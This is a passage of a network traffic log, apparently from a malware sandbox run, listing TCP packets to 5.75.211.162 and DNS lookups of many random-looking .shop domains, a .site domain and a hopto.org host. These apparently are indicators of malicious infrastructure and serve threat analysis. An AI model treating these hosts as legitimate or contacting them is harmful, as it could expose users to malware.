Sep 26, 2024 19:07:05.550380945 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.550399065 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.550570011 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.550576925 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.550621986 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.552525997 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.552547932 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.552603006 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.552611113 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.552644014 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.554368019 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.554387093 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.554436922 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.554445028 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.554477930 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.561314106 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.561331034 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.561389923 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.561400890 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.561434984 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.562825918 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.562848091 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.562928915 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.562937975 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.562975883 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.572211981 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.572227955 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.572284937 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.572293997 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.572325945 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.573988914 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.574003935 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.574047089 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.574053049 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.574084997 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.669620037 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.669754028 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.669850111 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.669864893 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.669878960 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.669907093 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.670928001 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.670969009 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.671005964 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.671011925 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.671036005 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.671053886 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.672528028 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.672574997 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.672606945 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.672612906 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.672638893 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.672660112 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.674194098 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.674242020 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.674298048 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.674304008 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.674345970 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.675262928 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.675312042 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.675345898 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.675350904 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.675376892 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.675410032 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.676959991 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.677002907 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.677041054 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.677046061 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.677073956 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.677093983 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.678769112 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.678808928 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.678847075 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.678853989 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.678875923 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.678898096 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.680524111 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.680558920 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.680651903 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.680670977 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.680708885 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.768974066 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.768997908 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.769105911 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.769125938 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.769169092 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.769881964 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.769902945 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.769937038 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.769944906 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.769969940 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.769989014 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.771869898 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.771891117 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.771933079 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.771945000 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.771965027 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.771980047 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.773129940 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.773149014 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.773190975 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.773199081 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.773228884 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.774677038 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.774702072 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.774735928 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.774744034 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.774766922 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.774782896 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.775449991 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.775470972 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.775504112 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.775511026 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.775533915 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.775548935 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.777065039 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.777086020 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.777127028 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.777137041 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.777158022 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.777194977 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.778109074 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.778127909 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.778162003 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.778168917 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.778192997 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.778208017 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.857805014 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.857852936 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.858047962 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.858073950 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.858125925 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.862271070 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.862291098 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.862376928 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.862389088 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.862433910 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.864326954 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.864346981 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.864408016 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.864418983 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.864454031 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.864468098 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.865961075 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.865983963 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.866036892 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.866044998 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.866080999 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.867296934 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.867316008 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.867362976 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.867371082 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.867403030 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.868500948 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.868520021 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.868571043 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.868581057 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.868601084 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.868617058 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.870698929 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.870719910 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.870773077 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.870779991 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.870811939 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.871891022 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.871913910 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.871963978 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.871972084 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.872011900 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.948029041 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.948051929 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.948306084 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.948324919 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.948374033 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.948404074 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.948424101 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.948467970 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.948473930 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.948504925 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.948525906 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.950436115 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.950455904 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.950514078 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.950522900 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.950557947 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.952095985 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.952127934 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.952184916 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.952193975 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.952230930 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.953304052 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.953322887 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.953371048 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.953377962 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.953406096 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.953424931 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.954288006 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.954308033 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.954365969 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.954374075 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.954410076 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.954624891 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.954643965 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.954694033 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.954699039 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.954710960 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.954734087 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.954750061 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.954760075 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.954793930 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.954798937 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.954844952 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.955048084 CEST	59792	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.955065966 CEST	443	59792	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.972637892 CEST	59793	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.972697020 CEST	443	59793	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:05.972779989 CEST	59793	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.973035097 CEST	59793	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:05.973047972 CEST	443	59793	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:06.659811020 CEST	443	59793	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:06.659934998 CEST	59793	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:06.660485983 CEST	59793	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:06.660490990 CEST	443	59793	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:06.662435055 CEST	59793	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:06.662439108 CEST	443	59793	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:06.662508965 CEST	59793	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:06.662519932 CEST	443	59793	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:07.026935101 CEST	59794	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:07.026973963 CEST	443	59794	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:07.027059078 CEST	59794	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:07.027334929 CEST	59794	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:07.027347088 CEST	443	59794	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:07.312562943 CEST	443	59793	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:07.312638998 CEST	443	59793	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:07.312645912 CEST	59793	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:07.312688112 CEST	59793	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:07.327843904 CEST	59793	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:07.327864885 CEST	443	59793	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:07.688577890 CEST	443	59794	5.75.211.162	192.168.2.4
Sep 26, 2024 19:07:07.688641071 CEST	59794	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:07:09.466706038 CEST	59794	443	192.168.2.4	5.75.211.162

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 26, 2024 19:05:21.120986938 CEST	50864	53	192.168.2.4	1.1.1.1
Sep 26, 2024 19:05:21.357403040 CEST	53	50864	1.1.1.1	192.168.2.4
Sep 26, 2024 19:05:28.085681915 CEST	59963	53	192.168.2.4	1.1.1.1
Sep 26, 2024 19:05:28.970669985 CEST	53	59963	1.1.1.1	192.168.2.4
Sep 26, 2024 19:05:29.203125954 CEST	59963	53	192.168.2.4	1.1.1.1
Sep 26, 2024 19:05:29.209965944 CEST	53	59376	1.1.1.1	192.168.2.4
Sep 26, 2024 19:05:29.210467100 CEST	53	59963	1.1.1.1	192.168.2.4
Sep 26, 2024 19:05:30.349209070 CEST	58800	53	192.168.2.4	1.1.1.1
Sep 26, 2024 19:05:30.366309881 CEST	53	58800	1.1.1.1	192.168.2.4
Sep 26, 2024 19:05:32.340574026 CEST	51917	53	192.168.2.4	1.1.1.1
Sep 26, 2024 19:05:32.358069897 CEST	53	51917	1.1.1.1	192.168.2.4
Sep 26, 2024 19:05:33.280678034 CEST	55609	53	192.168.2.4	1.1.1.1
Sep 26, 2024 19:05:33.303133965 CEST	53	55609	1.1.1.1	192.168.2.4
Sep 26, 2024 19:05:34.982552052 CEST	65535	53	192.168.2.4	1.1.1.1
Sep 26, 2024 19:05:35.001396894 CEST	53	65535	1.1.1.1	192.168.2.4
Sep 26, 2024 19:05:36.068496943 CEST	61372	53	192.168.2.4	1.1.1.1
Sep 26, 2024 19:05:36.085220098 CEST	53	61372	1.1.1.1	192.168.2.4
Sep 26, 2024 19:05:37.036676884 CEST	50252	53	192.168.2.4	1.1.1.1
Sep 26, 2024 19:05:37.055020094 CEST	53	50252	1.1.1.1	192.168.2.4
Sep 26, 2024 19:05:38.011338949 CEST	63300	53	192.168.2.4	1.1.1.1
Sep 26, 2024 19:05:38.030638933 CEST	53	63300	1.1.1.1	192.168.2.4
Sep 26, 2024 19:05:38.982121944 CEST	55095	53	192.168.2.4	1.1.1.1
Sep 26, 2024 19:05:38.989480972 CEST	53	55095	1.1.1.1	192.168.2.4
Sep 26, 2024 19:05:40.432692051 CEST	57006	53	192.168.2.4	1.1.1.1
Sep 26, 2024 19:05:40.457190037 CEST	53	57006	1.1.1.1	192.168.2.4
Sep 26, 2024 19:06:36.478514910 CEST	64634	53	192.168.2.4	1.1.1.1
Sep 26, 2024 19:06:36.487823963 CEST	53	64634	1.1.1.1	192.168.2.4
Sep 26, 2024 19:06:45.182708025 CEST	62818	53	192.168.2.4	1.1.1.1
Sep 26, 2024 19:06:45.191041946 CEST	53	62818	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 26, 2024 19:05:21.120986938 CEST	192.168.2.4	1.1.1.1	0x440a	Standard query (0)	dbsmena.com	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:05:28.085681915 CEST	192.168.2.4	1.1.1.1	0xba25	Standard query (0)	ghostreedmnu.shop	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:05:29.203125954 CEST	192.168.2.4	1.1.1.1	0xba25	Standard query (0)	ghostreedmnu.shop	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:05:30.349209070 CEST	192.168.2.4	1.1.1.1	0x7aa6	Standard query (0)	gutterydhowi.shop	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:05:32.340574026 CEST	192.168.2.4	1.1.1.1	0x5ca8	Standard query (0)	offensivedzvju.shop	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:05:33.280678034 CEST	192.168.2.4	1.1.1.1	0xd04a	Standard query (0)	vozmeatillu.shop	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:05:34.982552052 CEST	192.168.2.4	1.1.1.1	0x315d	Standard query (0)	drawzhotdog.shop	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:05:36.068496943 CEST	192.168.2.4	1.1.1.1	0xaa8d	Standard query (0)	fragnantbui.shop	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:05:37.036676884 CEST	192.168.2.4	1.1.1.1	0xc1e	Standard query (0)	stogeneratmns.shop	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:05:38.011338949 CEST	192.168.2.4	1.1.1.1	0x6981	Standard query (0)	reinforcenh.shop	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:05:38.982121944 CEST	192.168.2.4	1.1.1.1	0x4dbb	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:05:40.432692051 CEST	192.168.2.4	1.1.1.1	0xe1ef	Standard query (0)	ballotnwu.site	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:06:36.478514910 CEST	192.168.2.4	1.1.1.1	0xbe9b	Standard query (0)	cowod.hopto.org	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:06:45.182708025 CEST	192.168.2.4	1.1.1.1	0x824e	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Sep 26, 2024 19:05:21.357403040 CEST	1.1.1.1	192.168.2.4	0x440a	No error (0)	dbsmena.com	172.105.54.160	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:05:28.970669985 CEST	1.1.1.1	192.168.2.4	0xba25	No error (0)	ghostreedmnu.shop	188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:05:28.970669985 CEST	1.1.1.1	192.168.2.4	0xba25	No error (0)	ghostreedmnu.shop	188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:05:29.210467100 CEST	1.1.1.1	192.168.2.4	0xba25	No error (0)	ghostreedmnu.shop	188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:05:29.210467100 CEST	1.1.1.1	192.168.2.4	0xba25	No error (0)	ghostreedmnu.shop	188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:05:30.366309881 CEST	1.1.1.1	192.168.2.4	0x7aa6	No error (0)	gutterydhowi.shop	104.21.4.136	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:05:30.366309881 CEST	1.1.1.1	192.168.2.4	0x7aa6	No error (0)	gutterydhowi.shop	172.67.132.32	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:05:32.358069897 CEST	1.1.1.1	192.168.2.4	0x5ca8	No error (0)	offensivedzvju.shop	188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:05:32.358069897 CEST	1.1.1.1	192.168.2.4	0x5ca8	No error (0)	offensivedzvju.shop	188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:05:33.303133965 CEST	1.1.1.1	192.168.2.4	0xd04a	No error (0)	vozmeatillu.shop	188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:05:33.303133965 CEST	1.1.1.1	192.168.2.4	0xd04a	No error (0)	vozmeatillu.shop	188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:05:35.001396894 CEST	1.1.1.1	192.168.2.4	0x315d	No error (0)	drawzhotdog.shop	172.67.162.108	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:05:35.001396894 CEST	1.1.1.1	192.168.2.4	0x315d	No error (0)	drawzhotdog.shop	104.21.58.182	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:05:36.085220098 CEST	1.1.1.1	192.168.2.4	0xaa8d	No error (0)	fragnantbui.shop	188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:05:36.085220098 CEST	1.1.1.1	192.168.2.4	0xaa8d	No error (0)	fragnantbui.shop	188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:05:37.055020094 CEST	1.1.1.1	192.168.2.4	0xc1e	No error (0)	stogeneratmns.shop	188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:05:37.055020094 CEST	1.1.1.1	192.168.2.4	0xc1e	No error (0)	stogeneratmns.shop	188.114.97.3	A (IP address)	IN (0x0001)	false
